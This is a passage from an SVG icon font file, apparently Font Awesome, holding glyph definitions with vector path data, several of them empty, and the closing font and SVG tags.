t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C8" unicode="&#xf2c8;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v651h128v-651q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C9" unicode="&#xf2c9;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v395h128v-395q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CA" unicode="&#xf2ca;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v139h128v-139q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CB" unicode="&#xf2cb;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 79 56 135.5t136 56.5t136 -56.5t56 -135.5zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5z
M896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192v128h192z" />
    <glyph glyph-name="uniF2CC" unicode="&#xf2cc;" horiz-adv-x="1920" 
d="M1433 1287q10 -10 10 -23t-10 -23l-626 -626q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l44 44q-72 91 -81.5 207t46.5 215q-74 71 -176 71q-106 0 -181 -75t-75 -181v-1280h-256v1280q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5q106 0 201 -41
t166 -115q94 39 197 24.5t185 -79.5l44 44q10 10 23 10t23 -10zM1344 1024q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1600 896q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1856 1024q26 0 45 -19t19 -45t-19 -45t-45 -19
t-45 19t-19 45t19 45t45 19zM1216 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1408 832q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM1728 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 768
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 640q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1600 768q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 512q-26 0 -45 19t-19 45t19 45t45 19t45 -19
t19 -45t-19 -45t-45 -19zM1472 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 384
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 256q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19z" />
    <glyph glyph-name="uniF2CD" unicode="&#xf2cd;" horiz-adv-x="1792" 
d="M1664 448v-192q0 -169 -128 -286v-194q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v118q-63 -22 -128 -22h-768q-65 0 -128 22v-110q0 -17 -9.5 -28.5t-22.5 -11.5h-64q-13 0 -22.5 11.5t-9.5 28.5v186q-128 117 -128 286v192h1536zM704 864q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM768 928q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM704 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1056q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM704 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v640q0 106 75 181t181 75q108 0 184 -78q46 19 98 12t93 -39l22 22q11 11 22 0l42 -42
q11 -11 0 -22l-314 -314q-11 -11 -22 0l-42 42q-11 11 0 22l22 22q-36 46 -40.5 104t23.5 108q-37 35 -88 35q-53 0 -90.5 -37.5t-37.5 -90.5v-640h1504q14 0 23 -9t9 -23zM896 1056q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1120q0 -14 -9 -23t-23 -9
t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM896 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1248q0 -14 -9 -23
t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1024 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1088 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23z" />
    <glyph glyph-name="uniF2CE" unicode="&#xf2ce;" 
d="M994 344q0 -86 -17 -197q-31 -215 -55 -313q-22 -90 -152 -90t-152 90q-24 98 -55 313q-17 110 -17 197q0 168 224 168t224 -168zM1536 768q0 -240 -134 -434t-350 -280q-8 -3 -15 3t-6 15q7 48 10 66q4 32 6 47q1 9 9 12q159 81 255.5 234t96.5 337q0 180 -91 330.5
t-247 234.5t-337 74q-124 -7 -237 -61t-193.5 -140.5t-128 -202t-46.5 -240.5q1 -184 99 -336.5t257 -231.5q7 -3 9 -12q3 -21 6 -45q1 -9 5 -32.5t6 -35.5q1 -9 -6.5 -15t-15.5 -2q-148 58 -261 169.5t-173.5 264t-52.5 319.5q7 143 66 273.5t154.5 227t225 157.5t272.5 70
q164 10 315.5 -46.5t261 -160.5t175 -250.5t65.5 -308.5zM994 800q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5zM1282 768q0 -122 -53.5 -228.5t-146.5 -177.5q-8 -6 -16 -2t-10 14q-6 52 -29 92q-7 10 3 20
q58 54 91 127t33 155q0 111 -58.5 204t-157.5 141.5t-212 36.5q-133 -15 -229 -113t-109 -231q-10 -92 23.5 -176t98.5 -144q10 -10 3 -20q-24 -41 -29 -93q-2 -9 -10 -13t-16 2q-95 74 -148.5 183t-51.5 234q3 131 69 244t177 181.5t241 74.5q144 7 268 -60t196.5 -187.5
t72.5 -263.5z" />
    <glyph glyph-name="uniF2D0" unicode="&#xf2d0;" horiz-adv-x="1792" 
d="M256 128h1280v768h-1280v-768zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D1" unicode="&#xf2d1;" horiz-adv-x="1792" 
d="M1792 224v-192q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D2" unicode="&#xf2d2;" horiz-adv-x="2048" 
d="M256 0h768v512h-768v-512zM1280 512h512v768h-768v-256h96q66 0 113 -47t47 -113v-352zM2048 1376v-960q0 -66 -47 -113t-113 -47h-608v-352q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h608v352q0 66 47 113t113 47h960q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="uniF2D3" unicode="&#xf2d3;" horiz-adv-x="1792" 
d="M1175 215l146 146q10 10 10 23t-10 23l-233 233l233 233q10 10 10 23t-10 23l-146 146q-10 10 -23 10t-23 -10l-233 -233l-233 233q-10 10 -23 10t-23 -10l-146 -146q-10 -10 -10 -23t10 -23l233 -233l-233 -233q-10 -10 -10 -23t10 -23l146 -146q10 -10 23 -10t23 10
l233 233l233 -233q10 -10 23 -10t23 10zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D4" unicode="&#xf2d4;" horiz-adv-x="1792" 
d="M1257 425l-146 -146q-10 -10 -23 -10t-23 10l-169 169l-169 -169q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l169 169l-169 169q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l169 -169l169 169q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-169 -169l169 -169q10 -10 10 -23t-10 -23zM256 128h1280v1024h-1280v-1024zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D5" unicode="&#xf2d5;" horiz-adv-x="1792" 
d="M1070 358l306 564h-654l-306 -564h654zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D6" unicode="&#xf2d6;" horiz-adv-x="1794" 
d="M1291 1060q-15 17 -35 8.5t-26 -28.5t5 -38q14 -17 40 -14.5t34 20.5t-18 52zM895 814q-8 -8 -19.5 -8t-18.5 8q-8 8 -8 19t8 18q7 8 18.5 8t19.5 -8q7 -7 7 -18t-7 -19zM1060 740l-35 -35q-12 -13 -29.5 -13t-30.5 13l-38 38q-12 13 -12 30t12 30l35 35q12 12 29.5 12
t30.5 -12l38 -39q12 -12 12 -29.5t-12 -29.5zM951 870q-7 -8 -18.5 -8t-19.5 8q-7 8 -7 19t7 19q8 8 19 8t19 -8t8 -19t-8 -19zM1354 968q-34 -64 -107.5 -85.5t-127.5 16.5q-38 28 -61 66.5t-21 87.5t39 92t75.5 53t70.5 -5t70 -51q2 -2 13 -12.5t14.5 -13.5t13 -13.5
t12.5 -15.5t10 -15.5t8.5 -18t4 -18.5t1 -21t-5 -22t-9.5 -24zM1555 486q3 20 -8.5 34.5t-27.5 21.5t-33 17t-23 20q-40 71 -84 98.5t-113 11.5q19 13 40 18.5t33 4.5l12 -1q2 45 -34 90q6 20 6.5 40.5t-2.5 30.5l-3 10q43 24 71 65t34 91q10 84 -43 150.5t-137 76.5
q-60 7 -114 -18.5t-82 -74.5q-30 -51 -33.5 -101t14.5 -87t43.5 -64t56.5 -42q-45 4 -88 36t-57 88q-28 108 32 222q-16 21 -29 32q-50 0 -89 -19q19 24 42 37t36 14l13 1q0 50 -13 78q-10 21 -32.5 28.5t-47 -3.5t-37.5 -40q2 4 4 7q-7 -28 -6.5 -75.5t19 -117t48.5 -122.5
q-25 -14 -47 -36q-35 -16 -85.5 -70.5t-84.5 -101.5l-33 -46q-90 -34 -181 -125.5t-75 -162.5q1 -16 11 -27q-15 -12 -30 -30q-21 -25 -21 -54t21.5 -40t63.5 6q41 19 77 49.5t55 60.5q-2 2 -6.5 5t-20.5 7.5t-33 3.5q23 5 51 12.5t40 10t27.5 6t26 4t23.5 0.5q14 -7 22 34
q7 37 7 90q0 102 -40 150q106 -103 101 -219q-1 -29 -15 -50t-27 -27l-13 -6q-4 -7 -19 -32t-26 -45.5t-26.5 -52t-25 -61t-17 -63t-6.5 -66.5t10 -63q-35 54 -37 80q-22 -24 -34.5 -39t-33.5 -42t-30.5 -46t-16.5 -41t-0.5 -38t25.5 -27q45 -25 144 64t190.5 221.5
t122.5 228.5q86 52 145 115.5t86 119.5q47 -93 154 -178q104 -83 167 -80q39 2 46 43zM1794 640q0 -182 -71 -348t-191 -286t-286.5 -191t-348.5 -71t-348.5 71t-286.5 191t-191 286t-71 348t71 348t191 286t286.5 191t348.5 71t348.5 -71t286.5 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D7" unicode="&#xf2d7;" 
d="M518 1353v-655q103 -1 191.5 1.5t125.5 5.5l37 3q68 2 90.5 24.5t39.5 94.5l33 142h103l-14 -322l7 -319h-103l-29 127q-15 68 -45 93t-84 26q-87 8 -352 8v-556q0 -78 43.5 -115.5t133.5 -37.5h357q35 0 59.5 2t55 7.5t54 18t48.5 32t46 50.5t39 73l93 216h89
q-6 -37 -31.5 -252t-30.5 -276q-146 5 -263.5 8t-162.5 4h-44h-628l-376 -12v102l127 25q67 13 91.5 37t25.5 79l8 643q3 402 -8 645q-2 61 -25.5 84t-91.5 36l-127 24v102l376 -12h702q139 0 374 27q-6 -68 -14 -194.5t-12 -219.5l-5 -92h-93l-32 124q-31 121 -74 179.5
t-113 58.5h-548q-28 0 -35.5 -8.5t-7.5 -30.5z" />
    <glyph glyph-name="uniF2D8" unicode="&#xf2d8;" 
d="M922 739v-182q0 -4 0.5 -15t0 -15l-1.5 -12t-3.5 -11.5t-6.5 -7.5t-11 -5.5t-16 -1.5v309q9 0 16 -1t11 -5t6.5 -5.5t3.5 -9.5t1 -10.5v-13.5v-14zM1238 643v-121q0 -1 0.5 -12.5t0 -15.5t-2.5 -11.5t-7.5 -10.5t-13.5 -3q-9 0 -14 9q-4 10 -4 165v7v8.5v9t1.5 8.5l3.5 7
t5 5.5t8 1.5q6 0 10 -1.5t6.5 -4.5t4 -6t2 -8.5t0.5 -8v-9.5v-9zM180 407h122v472h-122v-472zM614 407h106v472h-159l-28 -221q-20 148 -32 221h-158v-472h107v312l45 -312h76l43 319v-319zM1039 712q0 67 -5 90q-3 16 -11 28.5t-17 20.5t-25 14t-26.5 8.5t-31 4t-29 1.5
h-29.5h-12h-91v-472h56q169 -1 197 24.5t25 180.5q-1 62 -1 100zM1356 515v133q0 29 -2 45t-9.5 33.5t-24.5 25t-46 7.5q-46 0 -77 -34v154h-117v-472h110l7 30q30 -36 77 -36q50 0 66 30.5t16 83.5zM1536 1248v-1216q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113
v1216q0 66 47 113t113 47h1216q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D9" unicode="&#xf2d9;" horiz-adv-x="2176" 
d="M1143 -197q-6 1 -11 4q-13 8 -36 23t-86 65t-116.5 104.5t-112 140t-89.5 172.5q-17 3 -175 37q66 -213 235 -362t391 -184zM502 409l168 -28q-25 76 -41 167.5t-19 145.5l-4 53q-84 -82 -121 -224q5 -65 17 -114zM612 1018q-43 -64 -77 -148q44 46 74 68zM2049 584
q0 161 -62 307t-167.5 252t-250.5 168.5t-304 62.5q-147 0 -281 -52.5t-240 -148.5q-30 -58 -45 -160q60 51 143 83.5t158.5 43t143 13.5t108.5 -1l40 -3q33 -1 53 -15.5t24.5 -33t6.5 -37t-1 -28.5q-126 11 -227.5 0.5t-183 -43.5t-142.5 -71.5t-131 -98.5
q4 -36 11.5 -92.5t35.5 -178t62 -179.5q123 -6 247.5 14.5t214.5 53.5t162.5 67t109.5 59l37 24q22 16 39.5 20.5t30.5 -5t17 -34.5q14 -97 -39 -121q-208 -97 -467 -134q-135 -20 -317 -16q41 -96 110 -176.5t137 -127t130.5 -79t101.5 -43.5l39 -12q143 -23 263 15
q195 99 314 289t119 418zM2123 621q-14 -135 -40 -212q-70 -208 -181.5 -346.5t-318.5 -253.5q-48 -33 -82 -44q-72 -26 -163 -16q-36 -3 -73 -3q-283 0 -504.5 173t-295.5 442q-1 0 -4 0.5t-5 0.5q-6 -50 2.5 -112.5t26 -115t36 -98t31.5 -71.5l14 -26q8 -12 54 -82
q-71 38 -124.5 106.5t-78.5 140t-39.5 137t-17.5 107.5l-2 42q-5 2 -33.5 12.5t-48.5 18t-53 20.5t-57.5 25t-50 25.5t-42.5 27t-25 25.5q19 -10 50.5 -25.5t113 -45.5t145.5 -38l2 32q11 149 94 290q41 202 176 365q28 115 81 214q15 28 32 45t49 32q158 74 303.5 104
t302 11t306.5 -97q220 -115 333 -336t87 -474z" />
    <glyph glyph-name="uniF2DA" unicode="&#xf2da;" horiz-adv-x="1792" 
d="M1341 752q29 44 -6.5 129.5t-121.5 142.5q-58 39 -125.5 53.5t-118 4.5t-68.5 -37q-12 -23 -4.5 -28t42.5 -10q23 -3 38.5 -5t44.5 -9.5t56 -17.5q36 -13 67.5 -31.5t53 -37t40 -38.5t30.5 -38t22 -34.5t16.5 -28.5t12 -18.5t10.5 -6t11 9.5zM1704 178
q-52 -127 -148.5 -220t-214.5 -141.5t-253 -60.5t-266 13.5t-251 91t-210 161.5t-141.5 235.5t-46.5 303.5q1 41 8.5 84.5t12.5 64t24 80.5t23 73q-51 -208 1 -397t173 -318t291 -206t346 -83t349 74.5t289 244.5q20 27 18 14q0 -4 -4 -14zM1465 627q0 -104 -40.5 -199
t-108.5 -164t-162 -109.5t-198 -40.5t-198 40.5t-162 109.5t-108.5 164t-40.5 199t40.5 199t108.5 164t162 109.5t198 40.5t198 -40.5t162 -109.5t108.5 -164t40.5 -199zM1752 915q-65 147 -180.5 251t-253 153.5t-292 53.5t-301 -36.5t-275.5 -129t-220 -211.5t-131 -297
t-10 -373q-49 161 -51.5 311.5t35.5 272.5t109 227t165.5 180.5t207 126t232 71t242.5 9t236 -54t216 -124.5t178 -197q33 -50 62 -121t31 -112zM1690 573q12 244 -136.5 416t-396.5 240q-8 0 -10 5t24 8q125 -4 230 -50t173 -120t116 -168.5t58.5 -199t-1 -208
t-61.5 -197.5t-122.5 -167t-185 -117.5t-248.5 -46.5q108 30 201.5 80t174 123t129.5 176.5t55 225.5z" />
    <glyph glyph-name="uniF2DB" unicode="&#xf2db;" 
d="M192 256v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 512v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 768v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16
q0 16 16 16h112zM192 1024v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 1280v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM1280 1440v-1472q0 -40 -28 -68t-68 -28h-832q-40 0 -68 28
t-28 68v1472q0 40 28 68t68 28h832q40 0 68 -28t28 -68zM1536 208v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 464v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 720v-32
q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 976v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 1232v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16
h48q16 0 16 -16z" />
    <glyph glyph-name="uniF2DC" unicode="&#xf2dc;" horiz-adv-x="1664" 
d="M1566 419l-167 -33l186 -107q23 -13 29.5 -38.5t-6.5 -48.5q-14 -23 -39 -29.5t-48 6.5l-186 106l55 -160q13 -38 -12 -63.5t-60.5 -20.5t-48.5 42l-102 300l-271 156v-313l208 -238q16 -18 17 -39t-11 -36.5t-28.5 -25t-37 -5.5t-36.5 22l-112 128v-214q0 -26 -19 -45
t-45 -19t-45 19t-19 45v214l-112 -128q-16 -18 -36.5 -22t-37 5.5t-28.5 25t-11 36.5t17 39l208 238v313l-271 -156l-102 -300q-13 -37 -48.5 -42t-60.5 20.5t-12 63.5l55 160l-186 -106q-23 -13 -48 -6.5t-39 29.5q-13 23 -6.5 48.5t29.5 38.5l186 107l-167 33
q-29 6 -42 29t-8.5 46.5t25.5 40t50 10.5l310 -62l271 157l-271 157l-310 -62q-4 -1 -13 -1q-27 0 -44 18t-19 40t11 43t40 26l167 33l-186 107q-23 13 -29.5 38.5t6.5 48.5t39 30t48 -7l186 -106l-55 160q-13 38 12 63.5t60.5 20.5t48.5 -42l102 -300l271 -156v313
l-208 238q-16 18 -17 39t11 36.5t28.5 25t37 5.5t36.5 -22l112 -128v214q0 26 19 45t45 19t45 -19t19 -45v-214l112 128q16 18 36.5 22t37 -5.5t28.5 -25t11 -36.5t-17 -39l-208 -238v-313l271 156l102 300q13 37 48.5 42t60.5 -20.5t12 -63.5l-55 -160l186 106
q23 13 48 6.5t39 -29.5q13 -23 6.5 -48.5t-29.5 -38.5l-186 -107l167 -33q27 -5 40 -26t11 -43t-19 -40t-44 -18q-9 0 -13 1l-310 62l-271 -157l271 -157l310 62q29 6 50 -10.5t25.5 -40t-8.5 -46.5t-42 -29z" />
    <glyph glyph-name="uniF2DD" unicode="&#xf2dd;" horiz-adv-x="1792" 
d="M1473 607q7 118 -33 226.5t-113 189t-177 131t-221 57.5q-116 7 -225.5 -32t-192 -110.5t-135 -175t-59.5 -220.5q-7 -118 33 -226.5t113 -189t177.5 -131t221.5 -57.5q155 -9 293 59t224 195.5t94 283.5zM1792 1536l-349 -348q120 -117 180.5 -272t50.5 -321
q-11 -183 -102 -339t-241 -255.5t-332 -124.5l-999 -132l347 347q-120 116 -180.5 271.5t-50.5 321.5q11 184 102 340t241.5 255.5t332.5 124.5q167 22 500 66t500 66z" />
    <glyph glyph-name="uniF2DE" unicode="&#xf2de;" horiz-adv-x="1792" 
d="M948 508l163 -329h-51l-175 350l-171 -350h-49l179 374l-78 33l21 49l240 -102l-21 -50zM563 1100l304 -130l-130 -304l-304 130zM907 915l240 -103l-103 -239l-239 102zM1188 765l191 -81l-82 -190l-190 81zM1680 640q0 159 -62 304t-167.5 250.5t-250.5 167.5t-304 62
t-304 -62t-250.5 -167.5t-167.5 -250.5t-62 -304t62 -304t167.5 -250.5t250.5 -167.5t304 -62t304 62t250.5 167.5t167.5 250.5t62 304zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71
t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2E0" unicode="&#xf2e0;" horiz-adv-x="1920" 
d="M1334 302q-4 24 -27.5 34t-49.5 10.5t-48.5 12.5t-25.5 38q-5 47 33 139.5t75 181t32 127.5q-14 101 -117 103q-45 1 -75 -16l-3 -2l-5 -2.5t-4.5 -2t-5 -2t-5 -0.5t-6 1.5t-6 3.5t-6.5 5q-3 2 -9 8.5t-9 9t-8.5 7.5t-9.5 7.5t-9.5 5.5t-11 4.5t-11.5 2.5q-30 5 -48 -3
t-45 -31q-1 -1 -9 -8.5t-12.5 -11t-15 -10t-16.5 -5.5t-17 3q-54 27 -84 40q-41 18 -94 -5t-76 -65q-16 -28 -41 -98.5t-43.5 -132.5t-40 -134t-21.5 -73q-22 -69 18.5 -119t110.5 -46q30 2 50.5 15t38.5 46q7 13 79 199.5t77 194.5q6 11 21.5 18t29.5 0q27 -15 21 -53
q-2 -18 -51 -139.5t-50 -132.5q-6 -38 19.5 -56.5t60.5 -7t55 49.5q4 8 45.5 92t81.5 163.5t46 88.5q20 29 41 28q29 0 25 -38q-2 -16 -65.5 -147.5t-70.5 -159.5q-12 -53 13 -103t74 -74q17 -9 51 -15.5t71.5 -8t62.5 14t20 48.5zM383 86q3 -15 -5 -27.5t-23 -15.5
q-14 -3 -26.5 5t-15.5 23q-3 14 5 27t22 16t27 -5t16 -23zM953 -177q12 -17 8.5 -37.5t-20.5 -32.5t-37.5 -8t-32.5 21q-11 17 -7.5 37.5t20.5 32.5t37.5 8t31.5 -21zM177 635q-18 -27 -49.5 -33t-57.5 13q-26 18 -32 50t12 58q18 27 49.5 33t57.5 -12q26 -19 32 -50.5
t-12 -58.5zM1467 -42q19 -28 13 -61.5t-34 -52.5t-60.5 -13t-51.5 34t-13 61t33 53q28 19 60.5 13t52.5 -34zM1579 562q69 -113 42.5 -244.5t-134.5 -207.5q-90 -63 -199 -60q-20 -80 -84.5 -127t-143.5 -44.5t-140 57.5q-12 -9 -13 -10q-103 -71 -225 -48.5t-193 126.5
q-50 73 -53 164q-83 14 -142.5 70.5t-80.5 128t-2 152t81 138.5q-36 60 -38 128t24.5 125t79.5 98.5t121 50.5q32 85 99 148t146.5 91.5t168 17t159.5 -66.5q72 21 140 17.5t128.5 -36t104.5 -80t67.5 -115t17.5 -140.5q52 -16 87 -57t45.5 -89t-5.5 -99.5t-58 -87.5z
M455 1222q14 -20 9.5 -44.5t-24.5 -38.5q-19 -14 -43.5 -9.5t-37.5 24.5q-14 20 -9.5 44.5t24.5 38.5q19 14 43.5 9.5t37.5 -24.5zM614 1503q4 -16 -5 -30.5t-26 -18.5t-31 5.5t-18 26.5q-3 17 6.5 31t25.5 18q17 4 31 -5.5t17 -26.5zM1800 555q4 -20 -6.5 -37t-30.5 -21
q-19 -4 -36 6.5t-21 30.5t6.5 37t30.5 22q20 4 36.5 -7.5t20.5 -30.5zM1136 1448q16 -27 8.5 -58.5t-35.5 -47.5q-27 -16 -57.5 -8.5t-46.5 34.5q-16 28 -8.5 59t34.5 48t58 9t47 -36zM1882 792q4 -15 -4 -27.5t-23 -16.5q-15 -3 -27.5 5.5t-15.5 22.5q-3 15 5 28t23 16
q14 3 26.5 -5t15.5 -23zM1691 1033q15 -22 10.5 -49t-26.5 -43q-22 -15 -49 -10t-42 27t-10 49t27 43t48.5 11t41.5 -28z" />
    <glyph glyph-name="uniF2E1" unicode="&#xf2e1;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E2" unicode="&#xf2e2;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E3" unicode="&#xf2e3;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E4" unicode="&#xf2e4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E5" unicode="&#xf2e5;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E6" unicode="&#xf2e6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E7" unicode="&#xf2e7;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_698" unicode="&#xf2e8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E9" unicode="&#xf2e9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EA" unicode="&#xf2ea;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EB" unicode="&#xf2eb;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EC" unicode="&#xf2ec;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2ED" unicode="&#xf2ed;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EE" unicode="&#xf2ee;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="lessequal" unicode="&#xf500;" horiz-adv-x="1792" 
 />
  </font>
</defs></svg>
